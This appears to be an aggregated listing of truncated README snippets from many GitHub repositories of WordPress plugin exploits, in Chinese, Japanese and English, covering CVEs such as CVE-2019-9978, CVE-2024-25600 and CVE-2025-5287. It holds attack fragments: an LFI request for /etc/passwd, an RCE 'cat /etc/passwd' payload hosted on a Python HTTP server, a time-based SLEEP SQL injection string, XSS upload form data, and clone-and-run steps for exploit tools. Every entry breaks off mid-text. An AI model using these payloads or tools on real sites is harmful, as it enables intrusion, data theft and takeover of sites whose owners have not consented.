cve-lfi-lab

🧠 CVE Lab: Tier 1 SOC Analyst Simulation CVE-2025-39507 | WordPress Nasa Coreプラグインにおけるローカルファイルインクルード 📝 シナリオ: SOCの一日 いつもの月曜日。私はSOCダッシュボードにログインし、いつものようにアラートを確認しています。一つ目に留まるアラートが届きました： アラート: ローカルファイルインクルージョン LFI の可能性 IPアドレス: 203.0.113.44 URL: /index.php?file=../../../../etc/passwd ユーザーエージェント:...

CVE-2019-9978

CVE-2019-9978 - Social Warfare WordPress 插件 RCE system'cat /etc/passwd' ✅ 第 2 步 – 启动 Python HTTP 服务器 使用 Python 提供你的 payload 服务： python3 -m http.server 8000 这将使你的 payload.txt 可通过以下地址访问： http://:8000/payload.txt ✅ 第 3 步 – 运行利用脚本 python3 CVE-2019-9978.py --target http:///wordpress \ --payload-uri...

wp-file-manager-0day

CVE-2020-25213 wp-file-manager 6.7 2020年8月20日 WordPress 插件 0day elFinder 漏洞是一个众所周知的漏洞，我的脚本只是将路径改为 "/wp-content/plugins/wp-file-manager/"。不要再要求我为脚本或其他东西提供修复。RTFM... 参考链接： https://www.exploit-db.com/exploits/46481 https://www.exploit-db.com/exploits/46539...

CVE-2021-25003

CVE-2021-25003 Title: WPCargo 6.9.0 - Unauthenticated RCE Author: Krzysztof Zając https://kazet.cc/ CVE: CVE-2021-25003 安装 git clone https://github.com/biulove0x/CVE-2021-25003.git cd CVE-2021-25003/ python3 -m pip install -r requirements.txt 如何运行自动利用 $ python3 WpCargo.py --help @author : biulove...

CVE-2025-8625

CVE-2025-8625 Copypress Rest API 1.1 - 1.2 - 缺少可配置的 JWT 密钥和文件类型验证，导致未经身份验证的远程代码执行 🛡️ Copypress Rest API 1.1 - 1.2 RCE 漏洞利用 📝 描述 WordPress 的 Copypress Rest API 插件（版本 1.1 至 1.2）通过 copyreaphandleimage 函数存在 远程代码执行 漏洞。 当未设置密钥时，该插件使用硬编码的 JWT 签名密钥，并且不验证文件类型，从而允许未经身份验证的攻击者伪造令牌，并通过图像处理端点上传任意文件（例如 PHP...

CVE-2024-1209

CVE-2024-1209 通过LearnDash中的作业泄露敏感信息。未经认证的访问者可以浏览和下载上传的作业。 漏洞: CVE-2024-1209 通过作业泄露敏感信息 CVSS: 5.3 中等 软件: LearnDash sfwd-lms 受影响版本: = 4.10.1 补丁版本: 4.10.2 部分, 4.10.3 完全 开发者: LearnDash 研究员: Karl Emil Nikka, Nikka Systems 公开发布: 2024-02-05 最后更新: 2024-02-05 概述...

CVE-2025-27007-OttoKit-exploit

CVE-2025-27007：OttoKit（SureTriggers）权限提升漏洞 对 CVE-2025-27007 的利用，这是 OttoKit 插件（原名 SureTriggers）中一个严重的未授权权限提升漏洞，针对 WordPress。本仓库概述了攻击者如何在易受攻击的 WordPress 站点上创建管理员账户。 受影响版本 所有版本的 OttoKit（SureTriggers）≤ 1.0.82 。 已在版本 1.0.83 中修复。 利用条件 该漏洞可在以下情况下被利用： 1. OttoKit 必须在目标 WordPress 站点上安装并激活。 2. 插件未初始化...

CVE-2025-24587

CVE-2025-24587 1️⃣ 组件类型 WordPress 插件 2️⃣ 组件细节 组件名称 Email Subscription Popup 受影响版本 prefix . "nlsubscriptions where email='$em'"; $wpdb-query$query; 要解决此问题，可以使用 WordPress 提供的 $wpdb-prepare 函数。该函数能够安全地转义和格式化 SQL 查询中使用的变量，以防止 SQL 注入攻击。 $query = $wpdb-prepare "DELETE FROM " . $wpdb-prefix...

CVE-2022-1598

CVE-2022-1598 WPQA where ID is numeric and can be bruteforced! Nuclei模板： CVE-2022-1598.yaml 视频POC： https://www.youtube.com/watch?v=MbhiQKWvivQ 参考来源： https://wpscan.com/vulnerability/0416ae2f-5670-4080-a88d-3484bb19d8c8 https://vulners.com/cve/CVE-2022-1598...

WORDPRESS-CVE-2024-25600-EXPLOIT-RCE

WORDPRESS-CVE-2024-25600-EXPLOIT-RCE WORDPRESS-CVE-2024-25600-EXPLOIT-RCE - WordPress Bricks Builder 远程代码执行RCE...

typehub-exploiter

typehub-exploiter GILANG - CVE-2021-25094 漏洞利用工具 参考：https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ payload：site.com/wp-admin/admin-ajax.php 漏洞路径：site.com/wp-content/uploads/typehub/custom/ 感谢：Ibnudz、Dark clown security 致敬：Garuda Tersakti 72. Buitenzorg Syndicate...

CVE-2023-6036

CVE-2023-6036 关于WordPress插件 Web3 – Crypto wallet Login & NFT token gating 3.0.0 - 认证绕过 的POC 该漏洞源于handleloginrequest函数和handleauthrequest函数中不正确的身份验证检查，导致认证绕过。 漏洞 笔者将登录流程分为3个步骤，实际上是通过Web3钱包登录时的3个不同POST请求。 1. handleloginrequest...

wp-jobhunt-exploit

wp-jobhunt-exploit CVE-2018-19487, CVE-2018-19488、WordPress wp-jobhuntプラグインのエクスプロイト wp-jobhuntプラグインは、JobCareerテーマで使用されるプラグインです： https://themeforest.net/item/jobcareer-job-board-responsive-wordpress-theme/14221636 （下の変更履歴を参照） CVE-2018-19487 （AJAXユーザー情報漏洩）およびCVE-2018-19488...

CVE-2025-5287

🔥 WordPress Likes and Dislikes 插件 ≤ 1.0.0 - 未认证 SQL 注入 🧠 CVE ID: CVE-2025-5287 发现者: KhaledAlenazi Nxploited 发布时间: 2025年5月27日 📋 描述 WordPress 的 Likes and Dislikes 插件 在所有版本 直至 1.0.0（含） 中，通过 post 参数存在 SQL 注入 漏洞。 由于 转义不足 且缺少预处理语句，未认证的攻击者可以将原始 SQL 注入后端查询，导致 数据泄露或篡改 。 🧬 技术细节 脆弱参数: post 漏洞类型: SQL...

CVE-2024-9796

CVE-2024-9796 WordPress WP-Advanced-Search = 5.0.12 time-based blind IF - comment Payload: t=wpautosuggest&f=ifnow=sysdate,SLEEP9,0-- wXyW&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=13672261755853'...

CVE-2025-4403

CVE-2025-4403 エクスプロイト 詳細 公開日 : 2025年5月8日 更新日 : 2025年5月9日 重大度 : 高 CVSSスコア: 9.8 CWE : CWE-434 - 危険なタイプのファイルの無制限アップロード 影響を受けるバージョン : n/a から 1.1.6 までの全バージョン CVSSベクトル CVSSバージョン : 9.8 ベクトル文字列 : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 説明 WordPress用WooCommerceプラグイン「Drag and Drop Multiple File...

cve-2016-10924-POC

CVE-2016-10924-POC このリポジトリには、WordPressプラグイン ebook-download （バージョン 注記: このPoCは教育目的および許可されたテスト目的 に限ります。この情報の誤用は法的な結果を招く可能性があります。 必要条件 Python 3 requests ライブラリ（pip install requests でインストール） 使い方 1. リポジトリのクローン : git clone https://github.com/your-user/CVE-2016-10924-POC.git cd CVE-2016-10924-POC 2...

CVE-2016-10924

CVE-2016-10924 CVE-2016-10924 - WordPress ebook-download 插件（1.2）中的目录遍历漏洞。 Python 编写的 PoC + PID 暴力破解。 用法 git clone https://github.com/rvizx/CVE-2016-10924 cd CVE-2016-10924 python pidbrute.py...

CVE-2021-24563

CVE-2021-24563 前端上传器 alert/XSS/ -----------------------------124662954015823207281179831654 Content-Disposition: form-data; name="action" uploadugc -----------------------------124662954015823207281179831654 Content-Disposition: form-data; name="formlayout" image...

CVE-2023-32117

CVE-2023-32117 Integrate Google Drive ","username":"admin","name":"admin","email":"[email protected]","role":"Administrator","folders":,"id":2,"avatar":"img alt='' src="http:///%5C/%5C/2.gravatar.com%5C/avatar%5C/b58996c504c5638798eb6b511e6f49af?s=32&d=mm&r=g"...